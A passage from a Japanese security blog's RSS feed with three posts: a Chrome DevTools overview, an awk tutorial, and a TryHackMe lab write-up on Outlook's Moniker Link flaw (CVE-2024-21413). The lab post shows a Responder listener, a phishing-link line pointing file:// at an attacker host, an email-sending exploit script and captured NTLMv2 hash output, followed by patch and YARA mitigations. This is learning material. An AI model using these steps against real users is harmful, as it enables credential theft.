					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/Chrome-DevTools-簡易調査_アイキャッチ-1-1024x683.jpg" class="webfeedsFeaturedVisual" /></p>はじめに 不審サイトの調査などで Chrome DevTools をよく使うので自分用メモ。ここでは概要をつかむための簡単な解説だけ。詳細はいずれ別記事で書けたら書く。 DevTools とは DevTools（デブツー [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/Chrome-DevTools-簡易調査_アイキャッチ-1-1024x683.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>不審サイトの調査などで Chrome DevTools をよく使うので自分用メモ。<br>ここでは概要をつかむための簡単な解説だけ。詳細はいずれ別記事で書けたら書く。</p>



<h2 class="wp-block-heading">DevTools とは</h2>



<p>DevTools（デブツールズ）は、Webブラウザに標準搭載されている「開発者向けツール」。<br>画面上の要素を調べてデザイン崩れを修正したり、ネットワーク通信を確認して読み込みエラーを特定したり、<br>コンソールでエラーメッセージやログを確認したりできる。<br>名前の通り、本来は開発者向けツールだがセキュリティ調査でも補助ツールとして使われる。<br><br>今回は Chrome に搭載されている DevTools の機能を解説。</p>



<h2 class="wp-block-heading">DevTools の概要</h2>



<h3 class="wp-block-heading">DevTools の開き方</h3>



<p>Macの場合<br>Cmd + option + I<br><br>Windowsの場合<br>Ctrl + Shift + C もしくは F12</p>



<p>DevTools 画面例</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="544" height="663" src="https://cybermemo.blog/wp-content/uploads/2025/10/DevTools-の開き方-1.png" alt="DevTools" class="wp-image-502" style="width:347px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/DevTools-の開き方-1.png 544w, https://cybermemo.blog/wp-content/uploads/2025/10/DevTools-の開き方-1-246x300.png 246w" sizes="(max-width: 544px) 100vw, 544px" /></figure>



<h3 class="wp-block-heading">DevTools のパネルメニュー</h3>



<p>セキュリティの観点で各パネルをどのように利用するか記載。</p>



<h4 class="wp-block-heading">Elements（エレメンツ）</h4>



<p>用途：Webページの構造（HTML）やクライアント側のDOM要素<sup data-fn="0d177dac-0798-40bc-91b9-fd7f9c962937" class="fn"><a href="#0d177dac-0798-40bc-91b9-fd7f9c962937" id="0d177dac-0798-40bc-91b9-fd7f9c962937-link">1</a></sup>を確認。<br><br>使用例：<br>悪意あるスクリプト（例：&lt;script&gt;タグ内のXSSペイロード）をページ内で検出できる。<br>inputフォームの属性（maxlengthやrequiredなど）を確認してクライアントサイド検証の甘さを見抜く。<br>非表示（display:none）の要素や、意図的に隠されたトークン値などもDOM上で確認可能。</p>



<h4 class="wp-block-heading">Console（コンソール）</h4>



<p>用途：ブラウザで発生しているJavaScriptエラー・警告の確認。<br><br>使用例：<br>脆弱なスクリプト読み込み（HTTP通信など）が警告として出る。<br>エラー文から内部APIのエンドポイントや認証処理の構造が推測できる場合もある。<br>XSSテスト時にペイロードが実行されているか確認するのにも使える。</p>



<h4 class="wp-block-heading">Sources（ソース）</h4>



<p>用途：JavaScriptやCSS、画像ファイルの確認。<br><br>使用例：<br>公開されている .js ファイルから機密ロジックやAPIキーのハードコーディング<sup data-fn="6fd2bd1f-44cc-4125-8fc1-faa433a28694" class="fn"><a href="#6fd2bd1f-44cc-4125-8fc1-faa433a28694" id="6fd2bd1f-44cc-4125-8fc1-faa433a28694-link">2</a></sup>を発見できる。<br>JSのマップファイル（.map）が残っていると難読化されたコードを簡単に復元できる。<br>コメント内に内部仕様やURLが書かれていないか確認できる。</p>



<h4 class="wp-block-heading">Network（ネットワーク）</h4>



<p>用途：Webページがやり取りしている通信（HTTPリクエスト・レスポンス）を確認。<br><br>使用例：<br>HTTPヘッダー（Cookie, Authorization, CSP, CORSなど）を確認できる。<br>CookieのSecure / HttpOnly / SameSite 属性の設定をチェック。<br>API通信のレスポンスを観察して、過剰情報漏えい（PII<sup data-fn="1b11e591-98e9-4503-88cf-994c32c45d48" class="fn"><a href="#1b11e591-98e9-4503-88cf-994c32c45d48" id="1b11e591-98e9-4503-88cf-994c32c45d48-link">3</a></sup>や内部ID）がないか確認できる。</p>



<h4 class="wp-block-heading">Performance（パフォーマンス）</h4>



<p>用途：処理や描画のタイミングを計測し、スクリプト挙動を把握。（Webページが“どんなタイミング”で“何をしているか”を記録して、時間軸で見える化するツール）<br><br>使用例：<br>攻撃者が仕込んだマルウェアスクリプトや追跡コードが異常にCPUを消費していないかを確認できる。<br>通常とは異なるタイミングで外部通信が発生していないかを監視可能。</p>



<h4 class="wp-block-heading">Memory（メモリ）</h4>



<p>用途：Webアプリの動作中に使われるメモリの状態を分析。<br><br>使用例：<br>クライアント側で扱っているデータが、不要に保持・漏洩していないか確認できる。<br>セッション情報やトークンがメモリ上に残り続けていないかを調査。</p>



<h4 class="wp-block-heading">Application（アプリケーション）</h4>



<p>用途：ブラウザに保存されたデータ（Cookie、LocalStorageなど）を確認。<br><br>使用例：<br>LocalStorageやSessionStorageにアクセストークンや個人情報が保存されていないか確認。<br>Cookie設定（Secure / HttpOnly / SameSite）を確認して脆弱な設定を検出。<br>キャッシュデータやService Workerの構成から、古いリソースが残っていないか確認。</p>



<h4 class="wp-block-heading">Privacy and Security（プライバシーとセキュリティ）</h4>



<p>用途：通信の安全性と証明書状態を確認。<br><br>使用例：<br>SSL/TLS証明書の有効期限・暗号スイートを確認。<br>Mixed Content（HTTPSページ内でHTTPリソースを読み込む危険な構成）があるか検出。<br>Cookieの追跡情報やセキュリティポリシーの確認にも使える。</p>



<h4 class="wp-block-heading">Lighthouse（ライトハウス）</h4>



<p>用途：Webサイト全体を自動診断（パフォーマンス・セキュリティ・アクセシビリティなど）。<br><br>使用例：<br>HTTPSが有効か、セキュリティヘッダー（CSP、X-Frame-Optionsなど）が設定されているか自動チェック。<br>セキュリティ的な改善ポイントをレポート形式で提示してくれる。</p>



<h4 class="wp-block-heading">Recorder（レコーダー）</h4>



<p>用途：操作の記録・再生（Webアプリの自動テスト）。<br><br>使用例：<br>CSRFテストなどで再現性を保つための操作手順を自動記録できる。<br>ペネトレーションテスト時に攻撃パターンを再生・再現する用途でも使われる。　&#8230;かも。（ChatGPTに聞いたけど、本当にそのような使い方がされているのか調べきれなかった。）</p>


<ol class="wp-block-footnotes"><li id="0d177dac-0798-40bc-91b9-fd7f9c962937">DOM（ブラウザがHTMLを解析して作るページの構造モデル）内の1つ1つの部品（例：div, p, inputなど）。 <a href="#0d177dac-0798-40bc-91b9-fd7f9c962937-link" aria-label="脚注参照1にジャンプ">↩︎</a></li><li id="6fd2bd1f-44cc-4125-8fc1-faa433a28694">設定や機密情報をプログラムの中に直接書いてしまうこと。 <a href="#6fd2bd1f-44cc-4125-8fc1-faa433a28694-link" aria-label="脚注参照2にジャンプ">↩︎</a></li><li id="1b11e591-98e9-4503-88cf-994c32c45d48">個人情報。 <a href="#1b11e591-98e9-4503-88cf-994c32c45d48-link" aria-label="脚注参照3にジャンプ">↩︎</a></li></ol>


<h2 class="wp-block-heading">最後に</h2>



<p>簡易調査で限られた機能しか使っていなかったので、まとめ用に調べてみると思っていたよりもできることが多そう。もう少し使いこなせるようになりたい。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/chrome-devtools-overview/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>初心者向けawkコマンドの使い方</title>
		<link>https://cybermemo.blog/awk-beginner-guide</link>
					<comments>https://cybermemo.blog/awk-beginner-guide#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 12 Oct 2025 15:07:28 +0000</pubDate>
				<category><![CDATA[コマンド]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[SOC]]></category>
		<category><![CDATA[ログ分析]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=465</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>awkコマンドとは awk（オーク）はテキストを1行ずつ読みながら、1行をくつかの列（フィールド）に分けて読む・抜き出す・加工するためのコマンド。たとえば、ログの「3列目だけ取りたい」時にawkが便利。 awkの基本構文 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">awkコマンドとは</h2>



<p>awk（オーク）はテキストを1行ずつ読みながら、1行をくつかの列（フィールド）に分けて読む・抜き出す・加工するためのコマンド。<br>たとえば、ログの「3列目だけ取りたい」時にawkが便利。</p>



<h2 class="wp-block-heading">awkの基本構文</h2>



<p>awk の基本構文は以下。</p>



<pre class="wp-block-code"><code>awk 'パターン { アクション }' ファイル名</code></pre>



<p>パターン＝どんな行を選ぶか<br>アクション＝その行で何をするか<br><br>ざっくり言うと 「ファイルの中で、〇〇な行があったら、△△をする」。</p>



<h2 class="wp-block-heading">awkの基本をサンプルから覚える</h2>



<h3 class="wp-block-heading">サンプル</h3>



<p>サンプルとして使用するファイルの内容。<br>各行は「名前・年齢・都市・職業」の4つのフィールドで構成されている。</p>



<pre class="wp-block-code"><code># sample.txt
Alice   25  Tokyo     Engineer
Bob     30  Osaka     Manager
Charlie 28  Nagoya    Designer
David   35  Fukuoka   Engineer
Eve     22  Tokyo     Intern</code></pre>



<h3 class="wp-block-heading">サンプルファイルの分解</h3>



<p>タブやスペースごとに awk が自動で以下表のように読み込んでくれる。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>フィールド番号</th><th>内容（意味）</th><th>awkで書くと</th></tr></thead><tbody><tr><td><code>$1</code></td><td>名前（Name）</td><td>Alice</td></tr><tr><td><code>$2</code></td><td>年齢（Age）</td><td>25</td></tr><tr><td><code>$3</code></td><td>都市（City）</td><td>Tokyo</td></tr><tr><td><code>$4</code></td><td>職業（Job）</td><td>Engineer</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">実際に動かしてみる</h3>



<h4 class="wp-block-heading">行全体を表示</h4>



<p>print で出力し、$0 でその行全体（すべてのフィールド）を指定。</p>



<pre class="wp-block-code"><code>$ awk '{print $0}' sample.txt</code></pre>



<p>ファイル全体を見たいなら cat でいい気がするので、実務では使わないかも。</p>



<pre class="wp-block-code"><code># sample.txt
Alice   25  Tokyo     Engineer
Bob     30  Osaka     Manager
Charlie 28  Nagoya    Designer
David   35  Fukuoka   Engineer
Eve     22  Tokyo     Intern</code></pre>



<h4 class="wp-block-heading">1列目（名前）だけ表示</h4>



<p>$1 で名前フィールドを出力。</p>



<pre class="wp-block-code"><code>$ awk '{print $1}' sample.txt</code></pre>



<p>これだけだとコメント（#）まで出力されてしまうので、実務ではもう少し条件を絞った方がよさそう。</p>



<pre class="wp-block-code"><code>#
Alice
Bob
Charlie
David
Eve</code></pre>



<h4 class="wp-block-heading">コメント（#）を除外</h4>



<p>! = ～でない、/文字列/ = 正規表現の始まりと終わりを示す囲み記号、^ = 先頭行 の意味。 <br>先頭行がコメント（#）でない名前フィールドを出力。</p>



<pre class="wp-block-code"><code>$ awk '!/^#/ {print $1}' sample.txt</code></pre>



<p>コメント（#）が除外され、名前のフィールドだけが出力される。</p>



<pre class="wp-block-code"><code>Alice
Bob
Charlie
David
Eve</code></pre>



<h4 class="wp-block-heading">名前と都市を表示</h4>



<p>$1 で名前フィールド、$3 で都市フィールドを指定。</p>



<pre class="wp-block-code"><code>$ awk '{print $1, $3}' sample.txt</code></pre>



<p>それぞれのフィールドが正しく抽出されている。</p>



<pre class="wp-block-code"><code># 
Alice Tokyo
Bob Osaka
Charlie Nagoya
David Fukuoka
Eve Tokyo</code></pre>



<h4 class="wp-block-heading">Tokyo に住んでいる人だけ表示</h4>



<p>$3 を == で Tokyo 指定。</p>



<pre class="wp-block-code"><code>$ awk '$3 == "Tokyo" {print $0}' sample.txt</code></pre>



<p>Tokyo に住んでいる人だけが抽出される。</p>



<pre class="wp-block-code"><code>Alice   25  Tokyo     Engineer
Eve     22  Tokyo     Intern</code></pre>



<h4 class="wp-block-heading">年齢が30歳以上の人だけ表示</h4>



<p>$2 >= 30 で指定。ついでにコメントも &amp;&amp; でつなげて除外しておく。</p>



<pre class="wp-block-code"><code>$ awk '!/^#/ &amp;&amp; $2 >= 30 {print $1, $2}' sample.txt</code></pre>



<p>30歳以上の人だけが抽出される。</p>



<pre class="wp-block-code"><code>Bob 30
David 35</code></pre>



<h4 class="wp-block-heading">Engineerの人数を数える</h4>



<p>$4 == &#8220;Engineer&#8221; で エンジニアを指定、{count++} で条件が真なら count を 1 増やす、END {print count} でファイルを全部読み終わったあとに出力。</p>



<pre class="wp-block-code"><code>$ awk '$4 == "Engineer" {count++} END {print count}' sample.txt</code></pre>



<p>きちんとカウントされている。</p>



<pre class="wp-block-code"><code>2</code></pre>



<h4 class="wp-block-heading">平均年齢を計算</h4>



<p>{sum += $2; count++} で 2 列目（年齢）の値を合計し、行数を 1 増やす。<br>END {print sum/count} でファイルをすべて読み終えたあとに平均を出力する。<br>※今回はカウント処理を行うため、コメント（#）のスキップが必須。<br><br>; は改行と同じ意味。</p>



<pre class="wp-block-code"><code>$ awk '!/^#/ {sum += $2; count++} END {print sum/count}' sample.txt</code></pre>



<p>平均年齢が出力される。</p>



<pre class="wp-block-code"><code>28</code></pre>



<p>このコマンドの動きは以下の通り。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>行</th><th>$2（年齢）</th><th>条件 <code>!/^#/</code></th><th>sumの値</th><th>countの値</th></tr></thead><tbody><tr><td># sample.txt</td><td>&#8211;</td><td>False</td><td>0</td><td>0</td></tr><tr><td>Alice 25 Tokyo Engineer</td><td>25</td><td>True</td><td>25</td><td>1</td></tr><tr><td>Bob 30 Osaka Manager</td><td>30</td><td>True</td><td>55</td><td>2</td></tr><tr><td>Charlie 28 Nagoya Designer</td><td>28</td><td>True</td><td>83</td><td>3</td></tr><tr><td>David 35 Fukuoka Engineer</td><td>35</td><td>True</td><td>118</td><td>4</td></tr><tr><td>Eve 22 Tokyo Intern</td><td>22</td><td>True</td><td>140</td><td>5</td></tr></tbody></table></figure>



<h4 class="wp-block-heading">都市ごとの人数を集計</h4>



<p>{city[$3]++} で 3 列目（都市名）をキーとしてカウントする。<br>END { … } はファイルをすべて読み終えたあとに 1 回だけ実行される処理。<br>for (c in city) ですべての都市（キー）を順に処理し、<br>print c, city[c] で都市名と人数を出力する。<br>※今回はカウントをしているのでコメントのスキップは必須。</p>



<pre class="wp-block-code"><code>$ awk '!/^#/ {city&#91;$3]++} END {for (c in city) print c, city&#91;c]}' sample.txt </code></pre>



<p>都市ごとの人数が出力される。</p>



<pre class="wp-block-code"><code>Osaka 1
Fukuoka 1
Nagoya 1
Tokyo 2</code></pre>



<p>このコマンドの動きは以下の通り。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>行</th><th>$3（都市）</th><th>条件 !/^#/</th><th>city[$3] の動作</th><th>city配列の内容（内部状態）</th></tr></thead><tbody><tr><td># sample.txt</td><td>―</td><td>False</td><td>実行されない</td><td>（何もない）</td></tr><tr><td>Alice 25 Tokyo Engineer</td><td>Tokyo</td><td>True</td><td><code>city["Tokyo"]++</code> → 1</td><td>Tokyo:1</td></tr><tr><td>Bob 30 Osaka Manager</td><td>Osaka</td><td>True</td><td><code>city["Osaka"]++</code> → 1</td><td>Tokyo:1, Osaka:1</td></tr><tr><td>Charlie 28 Nagoya Designer</td><td>Nagoya</td><td>True</td><td><code>city["Nagoya"]++</code> → 1</td><td>Tokyo:1, Osaka:1, Nagoya:1</td></tr><tr><td>David 35 Fukuoka Engineer</td><td>Fukuoka</td><td>True</td><td><code>city["Fukuoka"]++</code> → 1</td><td>Tokyo:1, Osaka:1, Nagoya:1, Fukuoka:1</td></tr><tr><td>Eve 22 Tokyo Intern</td><td>Tokyo</td><td>True</td><td><code>city["Tokyo"]++</code> → 2</td><td>Tokyo:2, Osaka:1, Nagoya:1, Fukuoka:1</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">疑問に思ったこと</h2>



<h3 class="wp-block-heading">文章ベースのファイルにはawkコマンドは使えないのか</h3>



<p>たとえば、</p>



<pre class="wp-block-code"><code>Aliceは東京で働いています。
Bobは大阪に住んでいます。
Charlieは28歳です。</code></pre>



<p>という文章ファイルがあった場合、awk の使いどころがあるのか気になった。</p>



<p>awk の動きとしては「スペースやタブで明確に区切られていない」文章だと、</p>



<pre class="wp-block-code"><code>$1 Aliceは東京で働いています。
$1 Bobは大阪に住んでいます。
$1 Charlieは28歳です。</code></pre>



<p>となり、すべて $1 になるのでフィールド分けができず、awk の長所は活かせない。</p>



<p>一応、grep のように抽出することは可能。</p>



<pre class="wp-block-code"><code>$ awk '/東京/ {print $0}' sample_text.txt
Aliceは東京で働いています。

$ awk '/&#91;0-9]+歳/ {print $0}' sample_text.txt
Charlieは28歳です。</code></pre>



<p>行番号を付けることもできる。</p>



<pre class="wp-block-code"><code>$ awk '{print NR, $0}' sample_text.txt
1 Aliceは東京で働いています。
2 Bobは大阪に住んでいます。
3 Charlieは28歳です。</code></pre>



<p>結論としては、awk でも文章ファイルの操作はある程度できるけど、本来の用途とは離れており、わざわざ awk で文章ファイルを操作する必要はなさそう。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/awk-beginner-guide/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TryHackMe Moniker Link (CVE-2024-21413) — 学習メモ</title>
		<link>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413</link>
					<comments>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Tue, 07 Oct 2025 13:39:45 +0000</pubDate>
				<category><![CDATA[TryHackMe]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Credential Theft]]></category>
		<category><![CDATA[hashcat]]></category>
		<category><![CDATA[Responder]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=429</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>はじめに Moniker Link (CVE-2024-21413) の備忘録。本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。 本記事の内容は教育目的のみに記載しています。実環境での悪用は [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>Moniker Link (CVE-2024-21413) の備忘録。<br>本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。</p>



<p class="is-style-icon_info"><strong>本記事の内容は教育目的のみに記載しています。実環境での悪用は犯罪行為です。必ず許可された演習環境でのみ実践してください。</strong></p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">TryHackMe</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://tryhackme-images.s3.amazonaws.com/room-icons/f733b93431c63c39d9eac0e5c0065b8a.png" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://tryhackme.com/room/monikerlink" target="_blank" rel="noopener noreferrer">Moniker Link (CVE-2024-21413)</a>
						<span class="p-blogCard__excerpt">Leak user&#8217;s credentials using CVE-2024-21413 to bypass Outlook&#8217;s Protected View.</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">Moniker Link (CVE-2024-21413)&nbsp;</h2>



<h3 class="wp-block-heading">Moniker Link（モニカー・リンク）とは</h3>



<p>Moniker Link は Windows のComponent Object Model（COM）<sup data-fn="3ec11f9f-9082-459c-9d59-55eeb29ec4bb" class="fn"><a href="#3ec11f9f-9082-459c-9d59-55eeb29ec4bb" id="3ec11f9f-9082-459c-9d59-55eeb29ec4bb-link">1</a></sup>で使われる「モニカー（識別子）」を指す仕組みの一種で、Outlook がメール中の特定のリンク（例えば file:// で始まるリンク）を処理するときに Moniker Link として解釈されることがある。<br><br>特定の形式（末尾に ! を含める等）にすると Outlook の「Protected View（保護ビュー／保護モード）」を回避してしまいリモートのファイルを読み込みにいってしまう問題が見つかった。これを悪用するとユーザーの認証情報（netNTLMv2 ハッシュ）を攻撃者に送らせることができる。</p>



<h3 class="wp-block-heading">CVE-2024-21413</h3>



<p>Outlook が特定のリンク（特に file:// スキームで始まり、後に ! 記号を含むような形式）を解釈すると、リンク先リソースにアクセスを試み、その過程で NTLM 認証情報（netNTLMv2 ハッシュ）を自動的に送信してしまうという挙動が発生するように設計上の欠陥があることが発見された。</p>



<p>さらに、悪意あるリンクを使えば Protected View（保護モード／読み取り専用モード）をバイパスして、ファイルを編集モードで開かせる・実行させるような挙動を誘導でき、その結果、リモートコード実行（Remote Code Execution, RCE）を引き起こす可能性も指摘されている。</p>



<h3 class="wp-block-heading">実演</h3>



<h4 class="wp-block-heading">Responder で待ち受け</h4>



<p>まずは Responder<sup data-fn="a99e74d6-1d5a-401c-b20b-6553246d547e" class="fn"><a href="#a99e74d6-1d5a-401c-b20b-6553246d547e" id="a99e74d6-1d5a-401c-b20b-6553246d547e-link">2</a></sup> で待ち受け。</p>



<pre class="wp-block-code"><code># インターフェースの特定
└─$ ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    ~以下IP情報（マスク）~

2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    ~以下IP情報（マスク）~

3: tun0: &lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    ~以下IP情報（マスク）~

# tun0で待ち受け
sudo responder -I tun0 </code></pre>



<h4 class="wp-block-heading">exploit.py の編集</h4>



<p>GitHub のコードをコピペし編集。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">GitHub</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://opengraph.githubassets.com/48b633b5db5651170851df09acd7c0a54c9bec02a5dae248b9f37fa1e13b4d79/CMNatic/CVE-2024-21413" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://github.com/CMNatic/CVE-2024-21413" target="_blank" rel="noopener noreferrer">GitHub &#8211; CMNatic/CVE-2024-21413: CVE-2024-21413 PoC for THM Lab</a>
						<span class="p-blogCard__excerpt">CVE-2024-21413 PoC for THM Lab. Contribute to CMNatic/CVE-2024-21413 development by creating an account on GitHub.</span>					</div>
				</div>
			</div>
		</div>


<pre class="wp-block-code"><code># 行を表示しエディタを開く
nano -l exploit.py</code></pre>



<p>17行目の <strong>ATTACKER_MACHINE</strong> を 待ち受け端末のIPに変更。</p>



<pre class="wp-block-code"><code>&lt;p&gt;&lt;a href="file://<strong>ATTACKER_MACHINE(※ここをIPアドレスに変更)</strong>/test!exploit"&gt;Click me&lt;/a&gt;&lt;/p&gt;</code></pre>



<p>31行目の <strong>MAILSERVER</strong> をターゲットマシンのIPに変更。</p>



<pre class="wp-block-code"><code>server = smtplib.SMTP('<strong>MAILSERVER(※ここをIPアドレスに変更)</strong>', 25)</code></pre>



<h4 class="wp-block-heading">ターゲットマシンの Outlook を起動</h4>



<p>ターゲットマシンの Outlook を起動。</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="339" src="https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-1024x339.png" alt="Outlook を起動" class="wp-image-438" style="width:695px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-1024x339.png 1024w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-300x99.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-768x254.png 768w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1.png 1253w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">exploit.py を実行</h4>



<p>exploit.py を実行。<br>このコードを実行するとターゲットマシンにメールが送信される。</p>



<pre class="wp-block-code"><code># exploit.py を実行
$ python3 exploit.py                                          
Enter your attacker email password: ********

 Email delivered</code></pre>



<h4 class="wp-block-heading">Outlook で届いたメールのリンクをクリック</h4>



<p>Outlook で届いたメールのリンクをクリック。<br>待ち受け端末に情報が送信される。</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="557" src="https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-1024x557.png" alt="Outlook で届いたメールのリンクをクリック" class="wp-image-441" style="width:691px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-1024x557.png 1024w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-300x163.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-768x418.png 768w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1.png 1264w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Responder の確認</h4>



<p>Responder で netNTLMv2 ハッシュがキャプチャされている。</p>



<pre class="wp-block-code"><code>&#91;SMB] NTLMv2-SSP Client   : x.x.x.x
&#91;SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
&#91;SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:a2b23215af9cc5d0:<strong>ハッシュが表示される  </strong>                                         
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme</code></pre>



<h4 class="wp-block-heading">エラーが発生する</h4>



<p>test!exploit のような共有は存在しないため、Outlook は「We can&#8217;t find &#8216;&#8230;\test!exploit&#8217;」というエラーを出す。<br>これはファイルが無いことを示す正常な挙動。ただし、重要なのはエラーが表示される前にクライアントは外部ホストへ接続を試み、NTLMによる認証ハンドシェイクが発生する点。攻撃者はこのハンドシェイクで得られるチャレンジ／レスポンスの情報を受け取る。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="621" height="110" src="https://cybermemo.blog/wp-content/uploads/2025/10/おまけ.png" alt="We can't find '...\test!exploit' エラー" class="wp-image-443" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/おまけ.png 621w, https://cybermemo.blog/wp-content/uploads/2025/10/おまけ-300x53.png 300w" sizes="(max-width: 621px) 100vw, 621px" /></figure>



<h3 class="wp-block-heading">対策</h3>



<p>一部対策を紹介。</p>



<h4 class="wp-block-heading">公式修正を適用する</h4>



<p>Microsoft が公開しているセキュリティ更新を適用。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external -noimg" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">あわせて読みたい</span>
										<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413?utm_source=chatgpt.com" target="_blank" rel="noopener noreferrer">Security Update Guide &#8211; Microsoft Security Response Center</a>
						<span class="p-blogCard__excerpt"></span>					</div>
				</div>
			</div>
		</div>


<h4 class="wp-block-heading">カスタムルールで検出</h4>



<p>GitHub 上でFlorian Roth 氏によって作成・公開された YARA<sup data-fn="1f0c2584-3f13-40b2-8901-c42c0e49bb1e" class="fn"><a href="#1f0c2584-3f13-40b2-8901-c42c0e49bb1e" id="1f0c2584-3f13-40b2-8901-c42c0e49bb1e-link">3</a></sup> ルールが利用可能。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">GitHub</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://opengraph.githubassets.com/c710b9b4da4cad12439b81a2d0ad80806ee9a368c53c1e30bae85d6b6848e532/Neo23x0/signature-base" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://github.com/Neo23x0/signature-base/blob/master/yara/expl_outlook_cve_2024_21413.yar" target="_blank" rel="noopener noreferrer">signature-base/yara/expl_outlook_cve_2024_21413.yar at master · Neo23x0/signature-base</a>
						<span class="p-blogCard__excerpt">YARA signature and IOC database for my scanners and tools &#8211; Neo23x0/signature-base</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">疑問に思ったこと</h2>



<h3 class="wp-block-heading">なぜ netNTLMv2 ハッシュが取得されると危険なのか</h3>



